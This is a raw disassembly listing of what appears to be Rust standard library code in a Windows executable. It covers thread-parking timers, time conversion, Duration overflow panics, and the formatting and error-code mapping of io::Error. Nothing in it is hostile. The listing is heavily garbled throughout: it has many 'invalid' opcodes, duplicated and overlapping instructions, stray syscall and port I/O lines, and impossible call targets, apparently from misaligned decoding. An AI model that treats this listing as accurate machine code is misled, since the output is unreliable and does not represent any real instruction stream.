cmp cl, byte [rax - 0x75]
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov rax, 0xffffffffffffffff
mov eax, 0xffffffff
invalid
lock cmpxchg qword [0x1400f9030], rcx
cmpxchg qword [0x1400f9030], rcx
cmpxchg dword [0x1400f9030], ecx
int3
add byte [rsp + rcx + 0x48], dh
je 0x14007c43a
or al, 0x48
mov rdi, rax
mov edi, eax
call qword [sym.imp.kernel32.dll_CloseHandle]
adc eax, 0x33f89
add eax, dword [rax]
mov rcx, rdi
stc
mov rax, qword [0x1400f9050]
bswap esp
invalid
add byte [rax - 0x77], cl
xor r8d, r8d
xor eax, eax
mov rdx, rsi
xor r8d, r8d
xor eax, eax
xor eax, eax
rol byte [rbp + 0x31], 0xc9
xor r9d, r9d
leave
call rax
jmp case.0x14004b1de.491
jo 0x14007c44e
invalid
invalid
dec dword [rcx + 0x482c2444]
mov dword [rsp + 0x2c], eax
and al, 0x2c
lea rax, [rsp + 0x2c]
lea eax, [rsp + 0x2c]
sub al, 0x48
mov dword [rsp + 0x38], eax
and al, 0x38
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
lea rax, [0x140049cd0]
add eax, 0xfffcd86a
dec dword [rax - 0x77]
and al, 0x40
and al, 0x40
mov qword [rsp + 0x40], rax
and al, 0x40
lea rax, str.Unable_to_create_keyed_event_handle:_error
add eax, 0x6e4fe
invalid
add byte [rax - 0x77], cl
and al, 0x48
and al, 0x48
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
and al, 0x68
and al, 0x68
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x38]
lea rax, [rsp + 0x38]
and al, 0x38
cmp byte [rax - 0x77], cl
and al, 0x58
and al, 0x58
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
and al, 0x58
pop rax
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x1400ea9b0]
lea rdx, str.library_std_src_syswindows_thread_parking.rs
lea edx, [0x1400ea9b0]
invalid
lea rcx, [rsp + 0x48]
and al, 0x48
call fcn.1400a9ee0
xor ebx, edx
add al, byte [rax]
ud2
push rdi
sub rsp, 0x38
cmp byte [rcx], dh
leave
cmp byte [rcx], dh
leave
xor edx, edx
mov r8d, 2
rol byte [rcx - 0x48], cl
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x47], al
add eax, dword [rax]
invalid
mov r9d, 0x1f0003
mov ecx, 0x1f0003
add bh, bh
adc eax, 0x33cbc
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
cmp al, 3
add byte [rax - 0x7b], cl
sal byte [rsi + rbx*2 + 0x48], 0x89
invalid
test rax, rax
test eax, eax
je 0x14007c52f
mov rsi, rax
mov qword [rsp + 0x30], 0xffffffffff676980
mov dword [rsp + 0x30], 0xff676980
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
invalid
test eax, eax
je 0x14007c526
add byte [rbp + 0x482074c0], al
mov ecx, esi
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x14007c53a
jmp 0x14007c52f
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
add bh, bh
adc eax, 0x33dee
nop
add rsp, 0x38
pop rdi
pop rsi
ret
sub rsp, 0x68
lea rbp, [rsp + 0x60]
invalid
mov qword [rbp], 0xfffffffffffffffe
invalid
inc dword [rcx + rcx*4 - 0x3a]
mov rdi, rdx
mov rbx, rcx
mov rcx, qword [0x1400f9220]
test rcx, rcx
jne 0x14007c5a8
invalid
invalid
mov qword [rbp - 8], 0
lea rcx, [rbp - 8]
add byte [rax], al
add byte [rax - 0x73], cl
clc
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14007c704
mov rcx, qword [rbp - 8]
mov qword [0x1400f9220], rcx
test rcx, rcx
je 0x14007c6b3
test byte [rbx], cl
add dword [rax], eax
invalid
test byte [rbx], cl
add dword [rax], eax
add byte [rbp + 0x31], al
ror byte [rax - 0x7d], 0xf9
add al, byte [rcx + 0xf]
xchg edx, eax
ror byte [rax - 0x7f], 0xf9
stc
xor r8d, r8d
cmp rcx, 2
setb r8b
cmp rcx, 0x3b9aca00
stc
add dl, cl
invalid
cmp esi, dword [rdi + 0xb]
stc
add dl, cl
invalid
cmp esi, dword [rcx]
sal bh, cl
int1
jmp 0x14007c5c9
lea edx, [rax - 0x3b9aca00]
cmp rcx, 2
cmovae edx, eax
mov eax, edx
shr eax, 9
imul rax, rax, 0x44b83
imul eax, eax, 0x44b83
imul eax, eax, 0x44b83
add al, 0
shr rax, 0x27
add r8, rax
shr byte [rcx - 0x40], 0
retf 0x3b9a
sub edx, eax
mov rax, qword [rbx]
mov r9, rdi
sub r9, rax
sub ecx, eax
shr byte [rcx - 0x40], 0
retf 0x3b9a
sub ecx, eax
jae 0x14007c601
mov ecx, dword [rbx + 8]
jmp 0x14007c60a
mov ecx, dword [rbx + 8]
jne case.0x140074731.501
mov edx, 0x3b9aca00
sub rax, rdi
sub eax, edi
jae 0x14007c619
jmp 0x14007c6aa
cmp ecx, esi
jae case.0x14004e56b.473
dec rax
add ecx, 0x3b9aca00
retf 0x3b9a
retf 0x3b9a
sub ecx, esi
mov edx, ecx
retf 0xeac1
or dword [rax + 0x69], ecx
rol byte [rbx + 0x4800044b], cl
shr edx, 0x27
retf 0xeac1
rol byte [rbx + 0x4800044b], cl
shr edx, 0x27
add rax, rdx
jb 0x14007c6cd
add byte [rax], al
add byte [rcx - 0x2e], ch
invalid
rol byte [rax], cl
invalid
add byte [rax], al
imul edx, edx, 0x3b9aca00
rol byte [rax], cl
retf 0x3b9a
invalid
sub ecx, edx
mov edx, ecx
retf 0x58eb
retf 0x58eb
cmp ecx, esi
jbe 0x14007c66b
invalid
adc eax, 0xfc9854d
test cl, ah
loope 0x14007c65d
invalid
test r9, r9
leave
je case.0x1400764fc.32
loope 0x14007c65d
add byte [rax], al
add byte [rcx - 1], cl
leave
dec r9
lea r10d, [rsi + 0x3b9aca00]
jmp 0x14007c66e
mov r10d, esi
sub r10d, ecx
mov r11d, r10d
shr r11d, 9
imul r11, r11, 0x44b83
invalid
or dword [rbx + 4], 0
add al, 0
or dword [rbp + 0x69], ecx
fild dword [rbx + 0x4900044b]
shr ebx, 0x27
add al, 0
shr r11, 0x27
add r9, r11
jb 0x14007c6cd
cmp r9, r8
cmp ecx, eax
jb case.0x1400283bc.1228
jne 0x14007c60a
imul r8d, r11d, 0x3b9aca00
sub r10d, r8d
sub edx, eax
add dl, cl
invalid
sub edx, eax
cmp r10d, edx
ja 0x14007c60a
xchg dword [rdi + rdi*8 - 1], esp
invalid
xchg dword [rdi + rdi*8 - 1], esp
invalid
push qword [rcx]
sal byte [rcx], 0xd2
xor eax, eax
xor edx, edx
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
lea rcx, [0x1400e7d70]
lea r8, str.library_std_src_syswindows_time.rs
add byte [rdx + 0x19], bh
outsd dx, dword [rsi]
jrcxz 0x14007c6c6
add byte [rdx + 0x19], bh
call fcn.1400aa0a0
ud2
invalid
lea rax, str.overflow_in_Duration::new
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
invalid
invalid
rol byte [rcx], 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x71c71
invalid
invalid
invalid
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_time.rs
lea rcx, [rbp - 0x38]
lea ecx, [rbp - 0x38]
lea ecx, [rbp - 0x38]
call fcn.1400a9ee0
xlatb
add al, byte [rax]
ud2
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x38], rax
lea rax, str.library_std_src_syswindows_time.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14007a090
lea r8, [rbp - 0x38]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
enter 0x2bba, 0
add byte [rax], al
call fcn.1400aa430
ud2
lea rcx, str.overflow_when_subtracting_durations
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_time.rs
mov edx, 0x23
add byte [rax], al
add al, ch
js 0x14007c733
add al, byte [rax]
add byte [rax], al
add al, ch
js 0x14007c733
add al, byte [rax]
ud2
or esp, dword [rsi + 0xf]
invalid
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x56], dl
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
invalid
lea rcx, [rbp - 0x38]
invalid
invalid
invalid
enter 0x16e8, 0xffffffffffffffd9
invalid
call fcn.14007a090
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rdx
mov rdi, qword [rcx]
mov eax, edi
and eax, 3
lea rcx, [0x1400f0094]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x6c68c
mov esi, es
invalid
invalid
lea rdx, [0x1400e8e5b]
mov esi, es
invalid
mov byte [rsi], 0
add byte [rcx - 0x48], al
mov r8d, 5
add eax, 0xff000000
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
jne case.0x14007cc61.378
push rax
sbb byte [rax - 0x77], cl
jne case.0x14007cc61.378
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
lea r9, [rdi + 0x10]
lea rax, [0x14007d530]
add eax, 0xd42
add eax, 0xd42
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0x6c631
mov byte [rsi], 0
lea rdx, [0x1400e8e2b]
mov byte [rsi], 0
lea rsi, [rbp - 0x20]
mov r8d, 4
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call fcn.140043690
lea rax, [0x14006fcb0]
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
lea rdx, str.messageKindErrorCustomerror__os_error__
adc eax, 0x6c631
mov byte [rsi], 0
mov r8d, 7
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov r9, rdi
mov ecx, edi
stc
call fcn.140043690
outsb dx, byte [rsi]
cld
inc dword [rax + 0xf00e97d]
cmp byte [rbp - 0x17], 0
invalid
cmp byte [rbp - 0x17], 0
movzx ebx, byte [rbp - 0x18]
mov dh, 0x5d
call 0x140974d4b
add byte [rax], al
jge case.0x140076169.323
add byte [rdi], cl
mov dh, 0x5d
pop rbp
call 0x140974d4b
test dword [rdi - 0x17000000], ecx
add byte [rax], al
add cl, ch
jmp case.0x140068b4c.905
jns 0x14007c844
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rdi - 1]
lea eax, [rdi - 1]
dec dword [r8 - 0x7d]
add rdi, 0xf
invalid
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x38], eax
enter 0xffffffffffff8b48, 0x4e
and byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
and byte [rax - 0x75], r9b
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x73], r9b
lea rdx, [0x1400e8e60]
adc eax, 0x6c602
mov byte [rsi], 0
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 6
add byte [rax], al
add bh, bh
add byte [rax], al
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
mov dword [rbp - 0x20], esi
jne 0x14007c84b
push rax
sbb byte [rax - 0x77], cl
invalid
jne 0x14007c84b
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
invalid
call 0x140f10e38
add byte [rax - 0x73], cl
add eax, 0xcb7
mov bh, 0xc
add byte [rax], al
lea rax, [0x14007d530]
mov bh, 0xc
add byte [rax], al
mov qword [rsp + 0x20], rax
lea rdx, [0x1400e8e2b]
lea edx, [0x1400e8e2b]
and byte [rax - 0x73], cl
adc eax, 0x6c5a6
cmpsb byte [rsi], byte [rdi]
invalid
invalid
invalid
lea edx, [0x1400e8e2b]
cmpsb byte [rsi], byte [rdi]
invalid
lea rsi, [rbp - 0x20]
mov r8d, 4
add byte [rax], al
mov rcx, rsi
int1
mov r9, rdi
call fcn.140043690
lea rax, [0x14007d510]
outsd dx, dword [rsi]
or al, 0
invalid
cld
dec dword [rax - 0x73]
add eax, 0xc6f
outsd dx, dword [rsi]
or al, 0
invalid
outsd dx, dword [rsi]
or al, 0
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
lea rdx, [0x1400e8e66]
adc eax, 0x6c5b9
invalid
invalid
lea r9, [rbp - 0x38]
mov r8d, 5
add eax, 0x48000000
mov ecx, esi
int1
enter 0xffffffffffffb841, 5
enter 0xffffffffffffb841, 5
add eax, 0x48000000
mov ecx, esi
int1
add byte [rax], al
add byte [rax - 0x77], cl
int1
call fcn.140043690
insd dword [rdi], dx
cld
inc dword [rax + 0xf00e97d]
cmp byte [rbp - 0x17], 0
invalid
cmp byte [rbp - 0x17], 0
jge 0x14007c8ab
add byte [rdi], cl
movzx ebx, byte [rbp - 0x18]
je case.0x140068b4c.905
out dx, eax
add al, byte [rax]
invalid
mov dh, 0x5d
call 0x142f74cda
add byte [rax], al
invalid
out dx, eax
add al, byte [rax]
add byte [rbx + rbx*8 - 0x7af0fe4d], al
in eax, 2
add byte [rax], al
test bl, bl
mov bl, 1
jne case.0x140068b4c.905
test ebp, esp
add al, byte [rax]
invalid
test ebp, esp
add al, byte [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp - 0x20]
invalid
mov rax, qword [rbp - 0x20]
test byte [rax + 0x34], 4
xor al, 4
jne case.0x1400764fc.45
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e3857]
invalid
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax], al
jmp 0x14007cbb3
shr rdi, 0x20
mov dword [rbp - 0x24], edi
mov rcx, qword [rsi + 0x20]
out dx, eax
and byte [rcx - 0x74b72383], cl
and byte [rax - 0x75], r9b
invalid
invalid
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8e25]
invalid
invalid
sub byte [rax - 0x73], r9b
adc eax, 0x6c510
invalid
invalid
invalid
mov r8d, 2
call qword [rax + 0x18]
mov qword [rbp - 0x38], rsi
mov byte [rbp - 0x30], al
mov byte [rbp - 0x2f], 0
rol dword [rax], 1
rol dword [rax], 1
lea rax, [0x14004d040]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400e8e27]
lea rsi, [rbp - 0x38]
lea r9, [rbp - 0x24]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
mov rcx, rsi
mov ecx, esi
call fcn.140043690
mov ecx, dword [rbp - 0x24]
call fcn.14007cc10
mov byte [rbp - 1], al
dec dword [r8 - 0x73]
add eax, 0xbcc
dec dword [r8 - 0x73]
add eax, 0xbcc
mov qword [rsp + 0x20], rax
lea rdx, [0x1400e8e2b]
lea r9, [rbp - 1]
invalid
invalid
mov ebx, 0x4c0006c4
lea ecx, [rbp - 1]
invalid
invalid
add byte [rbp + rcx*4 + 0x4d], cl
inc qword [r9 - 0x48]
inc dword [rcx - 0x48]
mov r8d, 4
add al, 0
add byte [rax], al
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.140043690
dec dword [rbx - 0x72b723ab]
jge case.0x1400764fc.35
invalid
mov edx, dword [rbp - 0x24]
lea rdi, [rbp - 0x20]
invalid
loopne 0x14007c9d2
mov rcx, rdi
mov ecx, edi
call fcn.14007cdd0
add byte [rax], al
lea rax, [0x1400402e0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
cld
dec dword [rax - 0x77]
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
lea rdx, str.messageKindErrorCustomerror__os_error__
mov r8d, 7
mov eax, 7
invalid
invalid
mov eax, 7
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov ecx, esi
mov r9, rdi
call fcn.140043690
fld xword [rsp + rdi*8 - 1]
fld xword [rsp + rdi*8 - 1]
cmp byte [rbp - 0x2f], 0
movzx ebx, byte [rbp - 0x30]
je 0x14007ca3a
mov al, 1
test bl, bl
jne case.0x1400765f7.32
mov rax, qword [rbp - 0x38]
mov eax, dword [rbp - 0x38]
test byte [rax + 0x34], 4
jne case.0x1400764fc.50
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e3857]
adc eax, 0x66e79
jns 0x14007ca4a
outsb dx, byte [rsi]
invalid
add byte [rcx - 0x48], al
add al, byte [rax]
invalid
mov r8d, 2
add byte [rax], al
add bh, bh
invalid
add byte [rax], al
call qword [rax + 0x18]
jmp case.0x1400765f7.32
push rax
sbb bl, ch
shr rdi, 0x20
shr rdi, 0x20
shr rdi, 0x20
out dx, eax
and byte [rbx + 0x6b7728ff], al
cmp edi, 0x28
ja case.0x140076169.26
cmp edi, 0x28
ja case.0x140076169.26
imul ecx, dword [rax - 0x73], 5
lea rax, [0x1400f00a4]
stosd dword [rdi], eax
invalid
invalid
movsxd rcx, dword [rax + rdi*4]
add rcx, rax
add ecx, eax
jmp rcx
loope 0x14007ca34
xor eax, eax
shr cl, 0xe
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
jmp 0x14007cb17
invalid
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e9693]
lea edx, [0x1400e9693]
adc eax, 0x6cc7b
int3
jmp 0x14007cbad
nop
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rax + 0x20]
invalid
invalid
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e9693]
adc eax, 0x6cc67
int3
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
add bh, bh
push rax
call qword [rax + 0x18]
sbb byte [rax - 0x3c762fbb], cl
mov byte [rbp - 0x30], al
mov ebx, eax
ret
ret
cmp qword [rbp - 0x18], 0
je case.0x140068b4c.905
test byte [rdi + 1], dh
ja case.0x14002f576.999
add byte [rax], al
call 0x1b78bd942
add dword [rax], eax
add byte [rdi], cl
test byte [rdi + 1], dh
ja case.0x14002f576.999
ja case.0x14002f576.999
add byte [rax], al
add byte [rbx + rcx*4 + 0x45], cl
loopne case.0x14002f576.1004
invalid
mov r8, qword [rbp - 0x20]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov dword [rdi], 0xffd23100
invalid
xor edx, edx
sar bh, cl
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x339b0
mov al, 0x39
cmp dword [rbx], eax
add cl, ch
invalid
add eax, dword [rax]
jmp case.0x140068b4c.905
pop rdi
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax + 0xb3e929], dh
mov al, 0x29
jmp 0x14007cb17
add byte [rax], al
add byte [rax + 0xace901], dh
mov al, 1
invalid
lodsb al, byte [rsi]
invalid
add byte [rax], al
mov al, 1
jmp 0x14007cb17
add byte [rax], al
invalid
add ecx, ebp
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax + 0xa5e902], dh
mov al, 2
invalid
movsd dword [rdi], dword [rsi]
invalid
add byte [rax], al
mov al, 2
jmp 0x14007cb17
add byte [rax], al
add byte [rax + 0x9ee903], dh
mov al, 3
jmp 0x14007cb17
sahf
add byte [rax], al
add byte [rax], al
add ebp, ecx
sahf
add byte [rax], al
add byte [rax], al
mov al, 4
invalid
xchg edi, eax
invalid
add byte [rax], al
mov al, 4
jmp 0x14007cb17
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x90e905], dh
mov al, 5
invalid
nop
invalid
add byte [rax], al
mov al, 5
jmp 0x14007cb17
add byte [rax], al
add eax, 0x90e9
add byte [rax + 0x89e906], dh
mov al, 6
invalid
mov dword [rax], eax
add byte [rax], al
mov al, 6
jmp 0x14007cb17
add byte [rax], al
add byte [rax + 0x82e907], dh
add byte [rax], al
invalid
mov al, 7
jmp 0x14007cb17
invalid
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
add byte [rax - 0x4f8114f8], dh
mov al, 8
jmp 0x14007cb17
invalid
jle 0x14007ca4a
mov al, 9
or ebx, ebp
jp case.0x140076169.23
invalid
jmp 0x14007cb17
mov al, 0xa
jmp 0x14007cb17
or ch, bl
jbe 0x14007ca52
invalid
mov al, 0xb
jmp 0x14007cb17
or ebp, ebx
jb 0x14007ca56
invalid
mov al, 0xc
jmp 0x14007cb17
or al, 0xeb
outsb dx, byte [rsi]
mov al, 0xd
jmp 0x14007cb17
mov al, 0xe
jmp 0x14007cb17
mov al, 0xf
jmp 0x14007cb17
mov al, 0x10
jmp 0x14007cb17
mov al, 0x11
jmp 0x14007cb17
mov al, 0x12
jmp 0x14007cb17
mov al, 0x13
jmp 0x14007cb17
mov al, 0x14
jmp 0x14007cb17
mov al, 0x15
jmp 0x14007cb17
mov al, 0x16
jmp 0x14007cb17
mov al, 0x17
jmp 0x14007cb17
mov al, 0x18
jmp 0x14007cb17
mov al, 0x19
jmp 0x14007cb17
mov al, 0x1a
jmp 0x14007cb17
mov al, 0x1b
jmp 0x14007cb17
mov al, 0x1c
jmp 0x14007cb17
mov al, 0x1d
jmp 0x14007cb17
mov al, 0x1e
jmp 0x14007cb17
mov al, 0x1f
jmp 0x14007cb17
mov al, 0x20
jmp 0x14007cb17
mov al, 0x21
jmp 0x14007cb17
mov al, 0x22
jmp 0x14007cb17
mov al, 0x23
jmp 0x14007cb17
mov al, 0x24
jmp 0x14007cb17
mov al, 0x25
jmp 0x14007cb17
mov al, 0x26
jmp 0x14007cb17
mov al, 0x27
jmp 0x14007cb17
invalid
mov al, 0x28
mov byte [rbp - 0x38], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8e57]
ret
invalid
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
ret
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
mov dword [rbp - 0x18], esi
mov byte [rbp - 0x10], al
mov qword [rbp - 0x20], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rbp - 0xf], 0
lea r8, [0x1400e8e30]
add eax, 0x6c2e4
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x38]
call fcn.140043f20
mov rax, qword [rbp - 0x20]
movzx ecx, byte [rbp - 0x10]
test rax, rax
test eax, eax
je 0x14007cbba
mov bl, 1
test cl, cl
jne case.0x140068b4c.905
mov rsi, qword [rbp - 0x18]
cmp rax, 1
jne 0x14007cb9e
cmp byte [rbp - 0xf], 0
je 0x14007cb9e
test byte [rsi + 0x34], 4
jne 0x14007cb9e
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e77f5]
adc eax, 0x6ac64
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne case.0x140068b4c.905
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8e76]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
mov ebx, eax
jmp case.0x140068b4c.905
mov ebx, ecx
test bl, bl
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
invalid
pop rbx
pop rdi
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
push 0x5d5e5f5b
pop rsi
pop rbp
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x60]
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
cmp qword [rbp - 0x18], 0
je 0x14007cbfb
invalid
call 0x18c1b3fe9
mov eax, dword [rbp - 0x20]
invalid
adc ecx, dword [rbx + rcx*4 + 0x45]
mov r8, qword [rbp - 0x20]
loopne 0x14007cc35
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rcx], dh
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
sar bh, cl
adc eax, 0x3380d
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
int3
int3
add dword [rcx + 0x3e2f9], eax
loop 0x14007cc19
add byte [rax], al
add byte [rsi + 0x2a], bh
jle case.0x140076169.60
sub al, byte [rcx + 0x271cf9]
add byte [rsi + 0x44], bh
cmp ecx, 0x271c
jle 0x14007cc66
lea edx, [rcx - 0x271d]
cmp edx, 0x34
ja case.default.0x14007cc3f
lea rcx, [0x1400f0570]
movsxd rdx, dword [rcx + rdx*4]
cmp dword [rdi], eax
add byte [rax + 0x63], cl
adc al, 0x91
add rdx, rcx
jmp rdx
invalid
loop case.0x1400764fc.198
mov al, 0xd
or eax, 0xfe518dc3
ret
lea edx, [rcx - 2]
inc byte [rcx + 0x109fa]
cmp edx, 0x109
or dword [rcx], eax
add byte [rax], al
invalid
add byte [rdi], cl
xchg esi, edx
invalid
add byte [rax], al
add byte [rax - 0x73], cl
ja case.default.0x14007cc61
invalid
lea rcx, [0x1400f0148]
or eax, 0x734ee
add byte [rax + 0x63], cl
adc al, 0x91
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
add edx, ecx
jmp rdx
xor eax, eax
ret
cmp ecx, 0x50e
jle case.0x140076169.164
invalid
add eax, 0x317e0000
xor dword [rcx + 0x1b7ff9], eax
cmp ecx, 0x1b7f
stc
jg 0x14007cc8d
add byte [rax], al
add byte [rdi + 0x58], bh
jg 0x14007ccce
cmp ecx, 0x1715
invalid
jg 0x14007cd3f
add byte [rax], al
add byte [rcx + 0x50ff9], al
cmp ecx, 0x50f
invalid
test byte [rbx], ch
sub eax, dword [rcx]
invalid
cmp ecx, 0x50f
stc
syscall
add byte [rax], al
je 0x14007cdb9
sub eax, dword [rcx]
add byte [rax], al
add byte [rcx + 0x5b4f9], al
add byte [rdi], cl
test dl, bl
fiadd dword [rax]
add byte [rax], al
add cl, ch
invalid
cmp ecx, 0x5b4
je case.0x14007cc3f.10060
fiadd dword [rax]
add byte [rax], al
invalid
jmp case.0x14007cc3f.10014
add byte [rcx + 0x46af9], al
add byte [rsi + 0x65], bh
jle case.0x14007ca00.209
cmp ecx, 0x46a
jle case.0x14007ca00.209
cmp ecx, 0x4ce
jg 0x14007cd51
cmp ecx, 0x46b
imul eax, dword [rax + rax], 0
je 0x14007cdbc
cmp ecx, 0x476
stc
jbe 0x14007ccc7
add byte [rax], al
jne case.0x14007cc3f.10014
test dword [rsi - 0x50000000], edi
mov esi, 0xb0000000
add byte [rax], al
mov al, 0x20
ret
and bl, al
cmp ecx, 0x2021
stc
and dword [rax], esp
add byte [rax], al
invalid
add byte [rdi], cl
jg 0x14007cd64
invalid
mov al, byte [rax]
add byte [rax], al
invalid
add byte [rcx + 0x1b80f9], al
cmp ecx, 0x1b80
je case.0x14007cc3f.10060
invalid
sbb byte [rbx], 0
add byte [rdi], cl
test byte [rsi - 0x7f000000], cl
invalid
invalid
stc
invalid
add byte [rcx + 0x1f4ef9], al
add byte [rdi], cl
cmp ecx, 0x1f4e
je case.0x14007cc3f.10060
invalid
invalid
add byte [rax], al
add byte [rax], al
test byte [rdx - 0x17000000], al
add byte [rax], al
jmp case.0x14007cc3f.10014
xchg edx, eax
add byte [rax], al
add byte [rbp - 0x3c297f], cl
lea eax, [rcx - 0x3c2a]
invalid
inc dword [rbx + 0x727202f8]
cmp eax, 2
add dh, byte [rdx + 0x72]
jb case.0x14007cc3f.10060
cmp ecx, 0x35ed
stc
in eax, dx
xor eax, 0x6a740000
add byte [rax], al
je case.0x14007cc3f.10060
add byte [rax], al
je case.0x14007cc3f.10060
